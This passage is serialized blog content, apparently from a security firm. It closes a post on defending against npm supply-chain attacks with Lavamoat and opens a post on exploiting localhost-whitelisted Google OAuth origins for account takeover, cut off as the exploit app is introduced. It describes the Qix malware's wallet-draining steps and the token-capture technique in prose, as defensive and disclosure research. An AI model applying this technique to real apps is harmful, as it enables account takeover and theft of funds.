"type":31,"value":19282},{"type":25,"tag":216,"props":103006,"children":103007},{"style":8199},[103008],{"type":31,"value":103009},"\"8.3.0\"",{"type":25,"tag":216,"props":103011,"children":103012},{"style":6958},[103013],{"type":31,"value":7459},{"type":25,"tag":216,"props":103015,"children":103016},{"class":6916,"line":6772},[103017,103022,103026,103031],{"type":25,"tag":216,"props":103018,"children":103019},{"style":8199},[103020],{"type":31,"value":103021},"\"@react-native-community/netinfo\"",{"type":25,"tag":216,"props":103023,"children":103024},{"style":6958},[103025],{"type":31,"value":19282},{"type":25,"tag":216,"props":103027,"children":103028},{"style":8199},[103029],{"type":31,"value":103030},"\"11.4.1\"",{"type":25,"tag":216,"props":103032,"children":103033},{"style":6958},[103034],{"type":31,"value":7459},{"type":25,"tag":216,"props":103036,"children":103037},{"class":6916,"line":6999},[103038,103043,103047],{"type":25,"tag":216,"props":103039,"children":103040},{"style":8199},[103041],{"type":31,"value":103042},"\"@react-native-picker/picker\"",{"type":25,"tag":216,"props":103044,"children":103045},{"style":6958},[103046],{"type":31,"value":19282},{"type":25,"tag":216,"props":103048,"children":103049},{"style":8199},[103050],{"type":31,"value":103051},"\"2.11.0\"\n",{"type":25,"tag":607,"props":103053,"children":103055},{"id":103054},"_2-use-npm-ci",[103056,103058],{"type":31,"value":103057},"2. Use ",{"type":25,"tag":82,"props":103059,"children":103061},{"className":103060},[],[103062],{"type":31,"value":103063},"npm ci",{"type":25,"tag":38,"props":103065,"children":103066},{},[103067,103072,103074,103080,103082,103087],{"type":25,"tag":82,"props":103068,"children":103070},{"className":103069},[],[103071],{"type":31,"value":103063},{"type":31,"value":103073}," uses the dependency versions from ",{"type":25,"tag":82,"props":103075,"children":103077},{"className":103076},[],[103078],{"type":31,"value":103079},"package-lock.json",{"type":31,"value":103081}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":25,"tag":82,"props":103083,"children":103085},{"className":103084},[],[103086],{"type":31,"value":102949},{"type":31,"value":103088}," when adding a new package or updating an existing one.",{"type":25,"tag":607,"props":103090,"children":103092},{"id":103091},"_3-implement-lavamoat",[103093,103095],{"type":31,"value":103094},"3. Implement ",{"type":25,"tag":162,"props":103096,"children":103099},{"href":103097,"rel":103098},"https://github.com/LavaMoat/LavaMoat/tree/main",[166],[103100],{"type":25,"tag":9267,"props":103101,"children":103102},{},[103103],{"type":31,"value":103104},"Lavamoat",{"type":25,"tag":38,"props":103106,"children":103107},{},[103108],{"type":31,"value":103109},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":25,"tag":38,"props":103111,"children":103112},{},[103113],{"type":31,"value":103114},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":25,"tag":206,"props":103116,"children":103118},{"code":103117,"language":37954,"meta":7,"className":37952,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[103119],{"type":25,"tag":82,"props":103120,"children":103121},{"__ignoreMap":7},[103122,103134,103146,103157,103173,103180,103187,103199,103210,103230,103246,103253,103264,103284,103300,103307,103314],{"type":25,"tag":216,"props":103123,"children":103124},{"class":6916,"line":6917},[103125,103130],{"type":25,"tag":216,"props":103126,"children":103127},{"style":8199},[103128],{"type":31,"value":103129},"\"resources\"",{"type":25,"tag":216,"props":103131,"children":103132},{"style":6958},[103133],{"type":31,"value":40979},{"type":25,"tag":216,"props":103135,"children":103136},{"class":6916,"line":6763},[103137,103142],{"type":25,"tag":216,"props":103138,"children":103139},{"style":6941},[103140],{"type":31,"value":103141},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":25,"tag":216,"props":103143,"children":103144},{"style":6958},[103145],{"type":31,"value":40979},{"type":25,"tag":216,"props":103147,"children":103148},{"class":6916,"line":6772},[103149,103153],{"type":25,"tag":216,"props":103150,"children":103151},{"style":6941},[103152],{"type":31,"value":40987},{"type":25,"tag":216,"props":103154,"children":103155},{"style":6958},[103156],{"type":31,"value":40979},{"type":25,"tag":216,"props":103158,"children":103159},{"class":6916,"line":6999},[103160,103165,103169],{"type":25,"tag":216,"props":103161,"children":103162},{"style":6941},[103163],{"type":31,"value":103164},"        \"TextEncoder\"",{"type":25,"tag":216,"props":103166,"children":103167},{"style":6958},[103168],{"type":31,"value":19282},{"type":25,"tag":216,"props":103170,"children":103171},{"style":6930},[103172],{"type":31,"value":41148},{"type":25,"tag":216,"props":103174,"children":103175},{"class":6916,"line":7104},[103176],{"type":25,"tag":216,"props":103177,"children":103178},{"style":6958},[103179],{"type":31,"value":16614},{"type":25,"tag":216,"props":103181,"children":103182},{"class":6916,"line":7210},[103183],{"type":25,"tag":216,"props":103184,"children":103185},{"style":6958},[103186],{"type":31,"value":29333},{"type":25,"tag":216,"props":103188,"children":103189},{"class":6916,"line":7238},[103190,103195],{"type":25,"tag":216,"props":103191,"children":103192},{"style":6941},[103193],{"type":31,"value":103194},"    \"@ethereumjs/util\"",{"type":25,"tag":216,"props":103196,"children":103197},{"style":6958},[103198],{"type":31,"value":40979},{"type":25,"tag":216,"props":103200,"children":103201},{"class":6916,"line":7251},[103202,103206],{"type":25,"tag":216,"props":103203,"children":103204},{"style":6941},[103205],{"type":31,"value":40987},{"type":25,"tag":216,"props":103207,"children":103208},{"style":6958},[103209],{"type":31,"value":40979},{"type":25,"tag":216,"props":103211,"children":103212},{"class":6916,"line":7269},[103213,103218,103222,103226],{"type":25,"tag":216,"props":103214,"children":103215},{"style":6941},[103216],{"type":31,"value":103217},"        \"console.warn\"",{"type":25,"tag":216,"props":103219,"children":103220},{"style":6958},[103221],{"type":31,"value":19282},{"type":25,"tag":216,"props":103223,"children":103224},{"style":6930},[103225],{"type":31,"value":230},{"type":25,"tag":216,"props":103227,"children":103228},{"style":6958},[103229],{"type":31,"value":7459},{"type":25,"tag":216,"props":103231,"children":103232},{"class":6916,"line":7290},[103233,103238,103242],{"type":25,"tag":216,"props":103234,"children":103235},{"style":6941},[103236],{"type":31,"value":103237},"        \"fetch\"",{"type":25,"tag":216,"props":103239,"children":103240},{"style":6958},[103241],{"type":31,"value":19282},{"type":25,"tag":216,"props":103243,"children":103244},{"style":6930},[103245],{"type":31,"value":41148},{"type":25,"tag":216,"props":103247,"children":103248},{"class":6916,"line":7299},[103249],{"type":25,"tag":216,"props":103250,"children":103251},{"style":6958},[103252],{"type":31,"value":41156},{"type":25,"tag":216,"props":103254,"children":103255},{"class":6916,"line":7551},[103256,103260],{"type":25,"tag":216,"props":103257,"children":103258},{"style":6941},[103259],{"type":31,"value":41164},{"type":25,"tag":216,"props":103261,"children":103262},{"style":6958},[103263],{"type":31,"value":40979},{"type":25,"tag":216,"props":103265,"children":103266},{"class":6916,"line":7568},[103267,103272,103276,103280],{"type":25,"tag":216,"props":103268,"children":103269},{"style":6941},[103270],{"type":31,"value":103271},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":25,"tag":216,"props":103273,"children":103274},{"style":6958},[103275],{"type":31,"value":19282},{"type":25,"tag":216,"props":103277,"children":103278},{"style":6930},[103279],{"type":31,"value":230},{"type":25,"tag":216,"props":103281,"children":103282},{"style":6958},[103283],{"type":31,"value":7459},{"type":25,"tag":216,"props":103285,"children":103286},{"class":6916,"line":7585},[103287,103292,103296],{"type":25,"tag":216,"props":103288,"children":103289},{"style":6941},[103290],{"type":31,"value":103291},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":25,"tag":216,"props":103293,"children":103294},{"style":6958},[103295],{"type":31,"value":19282},{"type":25,"tag":216,"props":103297,"children":103298},{"style":6930},[103299],{"type":31,"value":41148},{"type":25,"tag":216,"props":103301,"children":103302},{"class":6916,"line":7598},[103303],{"type":25,"tag":216,"props":103304,"children":103305},{"style":6958},[103306],{"type":31,"value":16614},{"type":25,"tag":216,"props":103308,"children":103309},{"class":6916,"line":7607},[103310],{"type":25,"tag":216,"props":103311,"children":103312},{"style":6958},[103313],{"type":31,"value":7305},{"type":25,"tag":216,"props":103315,"children":103316},{"class":6916,"line":7630},[103317],{"type":25,"tag":216,"props":103318,"children":103319},{"style":6958},[103320],{"type":31,"value":7868},{"type":25,"tag":38,"props":103322,"children":103323},{},[103324,103326,103332,103334,103340,103341,103346,103348,103354,103355,103361],{"type":31,"value":103325},"In this example, it restricts the ",{"type":25,"tag":82,"props":103327,"children":103329},{"className":103328},[],[103330],{"type":31,"value":103331},"@ethereumjs/util",{"type":31,"value":103333}," package to use only ",{"type":25,"tag":82,"props":103335,"children":103337},{"className":103336},[],[103338],{"type":31,"value":103339},"console.warn",{"type":31,"value":1301},{"type":25,"tag":82,"props":103342,"children":103344},{"className":103343},[],[103345],{"type":31,"value":38051},{"type":31,"value":103347}," functions, and to include only ",{"type":25,"tag":82,"props":103349,"children":103351},{"className":103350},[],[103352],{"type":31,"value":103353},"@ethereumjs/rlp",{"type":31,"value":1301},{"type":25,"tag":82,"props":103356,"children":103358},{"className":103357},[],[103359],{"type":31,"value":103360},"ethereum-cryptography",{"type":31,"value":103362}," packages.",{"type":25,"tag":38,"props":103364,"children":103365},{},[103366],{"type":31,"value":103367},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":25,"tag":38,"props":103369,"children":103370},{},[103371,103373,103379],{"type":31,"value":103372},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":25,"tag":162,"props":103374,"children":103377},{"href":103375,"rel":103376},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[166],[103378],{"type":31,"value":41334},{"type":31,"value":179},{"type":25,"tag":607,"props":103381,"children":103383},{"id":103382},"lavamoat-vs-qix-malware",[103384],{"type":31,"value":103385},"Lavamoat vs Qix Malware",{"type":25,"tag":38,"props":103387,"children":103388},{},[103389,103391,103396],{"type":31,"value":103390},"If a dApp were compromised with the Qix malware (say it used ",{"type":25,"tag":82,"props":103392,"children":103394},{"className":103393},[],[103395],{"type":31,"value":101236},{"type":31,"value":103397},"), it would need to perform the following actions to drain funds from a wallet:",{"type":25,"tag":6705,"props":103399,"children":103400},{},[103401,103413,103424,103435],{"type":25,"tag":2037,"props":103402,"children":103403},{},[103404,103406,103411],{"type":31,"value":103405},"Replace ",{"type":25,"tag":82,"props":103407,"children":103409},{"className":103408},[],[103410],{"type":31,"value":38051},{"type":31,"value":103412}," function to a custom one",{"type":25,"tag":2037,"props":103414,"children":103415},{},[103416,103418],{"type":31,"value":103417},"Access ",{"type":25,"tag":82,"props":103419,"children":103421},{"className":103420},[],[103422],{"type":31,"value":103423},"window.ethereum",{"type":25,"tag":2037,"props":103425,"children":103426},{},[103427,103429,103434],{"type":31,"value":103428},"Call original ",{"type":25,"tag":82,"props":103430,"children":103432},{"className":103431},[],[103433],{"type":31,"value":38051},{"type":31,"value":42171},{"type":25,"tag":2037,"props":103436,"children":103437},{},[103438],{"type":31,"value":103439},"Plus other actions not relevant here",{"type":25,"tag":38,"props":103441,"children":103442},{},[103443,103445,103451],{"type":31,"value":103444},"If the dApp is using Lavamoat with a generated policy for ",{"type":25,"tag":82,"props":103446,"children":103448},{"className":103447},[],[103449],{"type":31,"value":103450},"chalk 5.6.0",{"type":31,"value":103452}," (non-malicious version) it would look like this:",{"type":25,"tag":206,"props":103454,"children":103456},{"code":103455,"language":37954,"meta":7,"className":37952,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[103457],{"type":25,"tag":82,"props":103458,"children":103459},{"__ignoreMap":7},[103460,103472,103483,103503,103519,103526],{"type":25,"tag":216,"props":103461,"children":103462},{"class":6916,"line":6917},[103463,103468],{"type":25,"tag":216,"props":103464,"children":103465},{"style":8199},[103466],{"type":31,"value":103467},"\"chalk\"",{"type":25,"tag":216,"props":103469,"children":103470},{"style":6958},[103471],{"type":31,"value":40979},{"type":25,"tag":216,"props":103473,"children":103474},{"class":6916,"line":6763},[103475,103479],{"type":25,"tag":216,"props":103476,"children":103477},{"style":6941},[103478],{"type":31,"value":40987},{"type":25,"tag":216,"props":103480,"children":103481},{"style":6958},[103482],{"type":31,"value":40979},{"type":25,"tag":216,"props":103484,"children":103485},{"class":6916,"line":6772},[103486,103491,103495,103499],{"type":25,"tag":216,"props":103487,"children":103488},{"style":6941},[103489],{"type":31,"value":103490},"        \"navigator.userAgent\"",{"type":25,"tag":216,"props":103492,"children":103493},{"style":6958},[103494],{"type":31,"value":19282},{"type":25,"tag":216,"props":103496,"children":103497},{"style":6930},[103498],{"type":31,"value":230},{"type":25,"tag":216,"props":103500,"children":103501},{"style":6958},[103502],{"type":31,"value":7459},{"type":25,"tag":216,"props":103504,"children":103505},{"class":6916,"line":6999},[103506,103511,103515],{"type":25,"tag":216,"props":103507,"children":103508},{"style":6941},[103509],{"type":31,"value":103510},"        \"navigator.userAgentData\"",{"type":25,"tag":216,"props":103512,"children":103513},{"style":6958},[103514],{"type":31,"value":19282},{"type":25,"tag":216,"props":103516,"children":103517},{"style":6930},[103518],{"type":31,"value":41148},{"type":25,"tag":216,"props":103520,"children":103521},{"class":6916,"line":7104},[103522],{"type":25,"tag":216,"props":103523,"children":103524},{"style":6958},[103525],{"type":31,"value":16614},{"type":25,"tag":216,"props":103527,"children":103528},{"class":6916,"line":7210},[103529],{"type":25,"tag":216,"props":103530,"children":103531},{"style":6958},[103532],{"type":31,"value":29333},{"type":25,"tag":38,"props":103534,"children":103535},{},[103536,103538,103544],{"type":31,"value":103537},"That means that the chalk dependency can only access these two global attributes from ",{"type":25,"tag":82,"props":103539,"children":103541},{"className":103540},[],[103542],{"type":31,"value":103543},"navigator",{"type":31,"value":179},{"type":25,"tag":38,"props":103546,"children":103547},{},[103548,103550,103556],{"type":31,"value":103549},"When the compromised dApp would execute the malicious payload of ",{"type":25,"tag":82,"props":103551,"children":103553},{"className":103552},[],[103554],{"type":31,"value":103555},"chalk v5.6.1",{"type":31,"value":103557}," it would fail due to insufficient permissions:",{"type":25,"tag":38,"props":103559,"children":103560},{},[103561],{"type":25,"tag":6461,"props":103562,"children":103564},{"alt":54541,"src":103563},"/posts/supply-chain-attcks/error.png",[],{"type":25,"tag":38,"props":103566,"children":103567},{},[103568,103570,103575],{"type":31,"value":103569},"This error shows that the malware failed since it cannot redefine ",{"type":25,"tag":82,"props":103571,"children":103573},{"className":103572},[],[103574],{"type":31,"value":38051},{"type":31,"value":29420},{"type":25,"tag":206,"props":103577,"children":103579},{"code":103578},"TypeError#1: Cannot define property fetch, object is not extensible\n",[103580],{"type":25,"tag":82,"props":103581,"children":103582},{"__ignoreMap":7},[103583],{"type":31,"value":103578},{"type":25,"tag":26,"props":103585,"children":103587},{"id":103586},"lavamoat-in-practice",[103588],{"type":31,"value":103589},"Lavamoat In Practice",{"type":25,"tag":38,"props":103591,"children":103592},{},[103593,103595,103602],{"type":31,"value":103594},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":25,"tag":162,"props":103596,"children":103599},{"href":103597,"rel":103598},"https://osec.io/reports/lavamoat_audit_final.pdf",[166],[103600],{"type":31,"value":103601},"see the audit report",{"type":31,"value":24696},{"type":25,"tag":38,"props":103604,"children":103605},{},[103606],{"type":31,"value":103607},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":25,"tag":26,"props":103609,"children":103610},{"id":79763},[103611],{"type":31,"value":79766},{"type":25,"tag":38,"props":103613,"children":103614},{},[103615],{"type":31,"value":103616},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":25,"tag":38,"props":103618,"children":103619},{},[103620,103622,103627],{"type":31,"value":103621},"Version pinning and ",{"type":25,"tag":82,"props":103623,"children":103625},{"className":103624},[],[103626],{"type":31,"value":103063},{"type":31,"value":103628}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":25,"tag":9310,"props":103630,"children":103631},{},[103632],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":103634},[103635,103638,103639,103648,103649],{"id":101251,"depth":6763,"text":101254,"children":103636},[103637],{"id":102886,"depth":6772,"text":102889},{"id":102897,"depth":6763,"text":102900},{"id":102913,"depth":6763,"text":102916,"children":103640},[103641,103643,103645,103647],{"id":102924,"depth":6772,"text":103642},"1. Version pinning in package.json",{"id":103054,"depth":6772,"text":103644},"2. Use npm ci",{"id":103091,"depth":6772,"text":103646},"3. Implement Lavamoat",{"id":103382,"depth":6772,"text":103385},{"id":103586,"depth":6763,"text":103589},{"id":79763,"depth":6763,"text":79766},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":103654,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103655,"description":103656,"date":103657,"author":103658,"image":103659,"isFeatured":16,"onBlogPage":16,"tags":103661,"body":103664,"_type":6792,"_id":105995,"_source":6794,"_file":105996,"_stem":105997,"_extension":6797},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[35157,35156],{"src":103660,"width":101220,"height":17574},"/posts/oauth-misconfigurations/title.png",[103662,103663],"oAuth","exchanges",{"type":22,"children":103665,"toc":105982},[103666,103672,103677,103683,103703,103709,103714,103727,103732,103740,103754,103763,103772,103786,103794,103805,103865,103871,103883,103932,103938,103943,103956,103963,103974,103994,104013,104034,104040,104053,104058,104064,104083,104708,104713,104726,105587,105592,105597,105603,105608,105614,105619,105632,105672,105678,105691,105696,105729,105734,105739,105764,105769,105781,105938,105943,105947,105959,105964,105968,105973,105978],{"type":25,"tag":26,"props":103667,"children":103669},{"id":103668},"exploiting-oauth",[103670],{"type":31,"value":103671},"Exploiting OAuth",{"type":25,"tag":38,"props":103673,"children":103674},{},[103675],{"type":31,"value":103676},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":25,"tag":607,"props":103678,"children":103680},{"id":103679},"google-authentication-flows",[103681],{"type":31,"value":103682},"Google Authentication Flows",{"type":25,"tag":38,"props":103684,"children":103685},{},[103686,103688,103694,103696,103701],{"type":31,"value":103687},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":25,"tag":82,"props":103689,"children":103691},{"className":103690},[],[103692],{"type":31,"value":103693},"postMessage",{"type":31,"value":103695}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":25,"tag":82,"props":103697,"children":103699},{"className":103698},[],[103700],{"type":31,"value":73729},{"type":31,"value":103702}," to send the token back to the RP.",{"type":25,"tag":631,"props":103704,"children":103706},{"id":103705},"gsi-new-flow",[103707],{"type":31,"value":103708},"GSI (New Flow)",{"type":25,"tag":38,"props":103710,"children":103711},{},[103712],{"type":31,"value":103713},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":25,"tag":2033,"props":103715,"children":103716},{},[103717,103722],{"type":25,"tag":2037,"props":103718,"children":103719},{},[103720],{"type":31,"value":103721},"Using FedCM API",{"type":25,"tag":2037,"props":103723,"children":103724},{},[103725],{"type":31,"value":103726},"Without using FedCM API",{"type":25,"tag":38,"props":103728,"children":103729},{},[103730],{"type":31,"value":103731},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":25,"tag":38,"props":103733,"children":103734},{},[103735],{"type":25,"tag":9267,"props":103736,"children":103737},{},[103738],{"type":31,"value":103739},"FedCM Method",{"type":25,"tag":38,"props":103741,"children":103742},{},[103743,103745,103752],{"type":31,"value":103744},"The FedCM method basically follows this ",{"type":25,"tag":162,"props":103746,"children":103749},{"href":103747,"rel":103748},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[166],[103750],{"type":31,"value":103751},"user experience",{"type":31,"value":103753},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":25,"tag":38,"props":103755,"children":103756},{},[103757,103759],{"type":31,"value":103758},"The normal flow, clicking the \"sign in\" button:\n",{"type":25,"tag":6461,"props":103760,"children":103762},{"alt":54541,"src":103761},"/posts/oauth-misconfigurations/image1.png",[],{"type":25,"tag":38,"props":103764,"children":103765},{},[103766,103768],{"type":31,"value":103767},"One-Tap popup shown when you open the page:\n",{"type":25,"tag":6461,"props":103769,"children":103771},{"alt":54541,"src":103770},"/posts/oauth-misconfigurations/image2.png",[],{"type":25,"tag":38,"props":103773,"children":103774},{},[103775,103777,103784],{"type":31,"value":103776},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":25,"tag":162,"props":103778,"children":103781},{"href":103779,"rel":103780},"https://github.com/w3c-fedid/FedCM/issues/429",[166],[103782],{"type":31,"value":103783},"FedCM auto-reauthentication",{"type":31,"value":103785},", which has certain preconditions that must be met.",{"type":25,"tag":38,"props":103787,"children":103788},{},[103789],{"type":25,"tag":9267,"props":103790,"children":103791},{},[103792],{"type":31,"value":103793},"Non-FedCM Method",{"type":25,"tag":38,"props":103795,"children":103796},{},[103797,103799,103804],{"type":31,"value":103798},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":25,"tag":82,"props":103800,"children":103802},{"className":103801},[],[103803],{"type":31,"value":103693},{"type":31,"value":1466},{"type":25,"tag":6705,"props":103806,"children":103807},{},[103808,103813,103837,103842,103853],{"type":25,"tag":2037,"props":103809,"children":103810},{},[103811],{"type":31,"value":103812},"The user clicks the sign in button",{"type":25,"tag":2037,"props":103814,"children":103815},{},[103816,103818,103824,103826,103831,103832],{"type":31,"value":103817},"RP opens a popup/iframe to ",{"type":25,"tag":162,"props":103819,"children":103822},{"href":103820,"rel":103821},"https://accounts.google.com/o/oauth2/v2/auth",[166],[103823],{"type":31,"value":103820},{"type":31,"value":103825}," with some important parameters like ",{"type":25,"tag":82,"props":103827,"children":103829},{"className":103828},[],[103830],{"type":31,"value":73561},{"type":31,"value":1301},{"type":25,"tag":82,"props":103833,"children":103835},{"className":103834},[],[103836],{"type":31,"value":44093},{"type":25,"tag":2037,"props":103838,"children":103839},{},[103840],{"type":31,"value":103841},"The user clicks the \"Continue\" button to authorize authentication",{"type":25,"tag":2037,"props":103843,"children":103844},{},[103845,103847],{"type":31,"value":103846},"They get redirected to ",{"type":25,"tag":162,"props":103848,"children":103851},{"href":103849,"rel":103850},"https://accounts.google.com/gsi/transform",[166],[103852],{"type":31,"value":103849},{"type":25,"tag":2037,"props":103854,"children":103855},{},[103856,103858,103863],{"type":31,"value":103857},"/gsi/transform sends the token back to the RP via ",{"type":25,"tag":82,"props":103859,"children":103861},{"className":103860},[],[103862],{"type":31,"value":103693},{"type":31,"value":103864}," (after some SYN/ACK messages)",{"type":25,"tag":631,"props":103866,"children":103868},{"id":103867},"oauth-20-old-flow",[103869],{"type":31,"value":103870},"OAuth 2.0 Old Flow",{"type":25,"tag":38,"props":103872,"children":103873},{},[103874,103876,103881],{"type":31,"value":103875},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":25,"tag":82,"props":103877,"children":103879},{"className":103878},[],[103880],{"type":31,"value":73729},{"type":31,"value":103882}," provided in the URL and validated by a whitelist configuration:",{"type":25,"tag":6705,"props":103884,"children":103885},{},[103886,103890,103911,103915],{"type":25,"tag":2037,"props":103887,"children":103888},{},[103889],{"type":31,"value":103812},{"type":25,"tag":2037,"props":103891,"children":103892},{},[103893,103894,103899,103900,103905,103906],{"type":31,"value":103817},{"type":25,"tag":162,"props":103895,"children":103897},{"href":103820,"rel":103896},[166],[103898],{"type":31,"value":103820},{"type":31,"value":103825},{"type":25,"tag":82,"props":103901,"children":103903},{"className":103902},[],[103904],{"type":31,"value":73561},{"type":31,"value":1301},{"type":25,"tag":82,"props":103907,"children":103909},{"className":103908},[],[103910],{"type":31,"value":73729},{"type":25,"tag":2037,"props":103912,"children":103913},{},[103914],{"type":31,"value":103841},{"type":25,"tag":2037,"props":103916,"children":103917},{},[103918,103919,103924,103926],{"type":31,"value":103846},{"type":25,"tag":82,"props":103920,"children":103922},{"className":103921},[],[103923],{"type":31,"value":73729},{"type":31,"value":103925}," with the token in the query parameters or ",{"type":25,"tag":82,"props":103927,"children":103929},{"className":103928},[],[103930],{"type":31,"value":103931},"location.hash",{"type":25,"tag":631,"props":103933,"children":103935},{"id":103934},"different-configurations",[103936],{"type":31,"value":103937},"Different Configurations",{"type":25,"tag":38,"props":103939,"children":103940},{},[103941],{"type":31,"value":103942},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":25,"tag":2033,"props":103944,"children":103945},{},[103946,103951],{"type":25,"tag":2037,"props":103947,"children":103948},{},[103949],{"type":31,"value":103950},"Authorized origins",{"type":25,"tag":2037,"props":103952,"children":103953},{},[103954],{"type":31,"value":103955},"Authorized redirect URIs",{"type":25,"tag":38,"props":103957,"children":103958},{},[103959],{"type":25,"tag":6461,"props":103960,"children":103962},{"alt":54541,"src":103961},"/posts/oauth-misconfigurations/image3.png",[],{"type":25,"tag":38,"props":103964,"children":103965},{},[103966,103968,103973],{"type":31,"value":103967},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":25,"tag":82,"props":103969,"children":103971},{"className":103970},[],[103972],{"type":31,"value":73561},{"type":31,"value":179},{"type":25,"tag":38,"props":103975,"children":103976},{},[103977,103979,103985,103987,103992],{"type":31,"value":103978},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":25,"tag":82,"props":103980,"children":103982},{"className":103981},[],[103983],{"type":31,"value":103984},"/oauth2/v2/auth",{"type":31,"value":103986}," by checking the ",{"type":25,"tag":82,"props":103988,"children":103990},{"className":103989},[],[103991],{"type":31,"value":44093},{"type":31,"value":103993}," query parameter.",{"type":25,"tag":38,"props":103995,"children":103996},{},[103997,103999,104004,104006,104011],{"type":31,"value":103998},"In the old flow, the ",{"type":25,"tag":82,"props":104000,"children":104002},{"className":104001},[],[104003],{"type":31,"value":73729},{"type":31,"value":104005}," parameter passed in the ",{"type":25,"tag":82,"props":104007,"children":104009},{"className":104008},[],[104010],{"type":31,"value":103984},{"type":31,"value":104012}," endpoint is validated against the authorized redirect URIs.",{"type":25,"tag":38,"props":104014,"children":104015},{},[104016,104018,104023,104025,104032],{"type":31,"value":104017},"Note that the new GSI flow can also have a different flow using ",{"type":25,"tag":82,"props":104019,"children":104021},{"className":104020},[],[104022],{"type":31,"value":73729},{"type":31,"value":104024}," validation. To execute this flow, you need to specify ",{"type":25,"tag":162,"props":104026,"children":104029},{"href":104027,"rel":104028},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[166],[104030],{"type":31,"value":104031},"login_uri",{"type":31,"value":104033}," while using the SDK.",{"type":25,"tag":607,"props":104035,"children":104037},{"id":104036},"localhost-exploit",[104038],{"type":31,"value":104039},"Localhost Exploit",{"type":25,"tag":38,"props":104041,"children":104042},{},[104043,104045,104051],{"type":31,"value":104044},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":25,"tag":82,"props":104046,"children":104048},{"className":104047},[],[104049],{"type":31,"value":104050},"localhost",{"type":31,"value":104052}," origin because it is considered trusted for local testing.",{"type":25,"tag":38,"props":104054,"children":104055},{},[104056],{"type":31,"value":104057},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":25,"tag":631,"props":104059,"children":104061},{"id":104060},"exploit",[104062],{"type":31,"value":104063},"Exploit",{"type":25,"tag":38,"props":104065,"children":104066},{},[104067,104069,104074,104075,104081],{"type":31,"value":104068},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":25,"tag":82,"props":104070,"children":104072},{"className":104071},[],[104073],{"type":31,"value":103931},{"type":31,"value":17084},{"type":25,"tag":82,"props":104076,"children":104078},{"className":104077},[],[104079],{"type":31,"value":104080},"location.search",{"type":31,"value":104082},". To achieve this, we developed a Kotlin application that spins up a local web 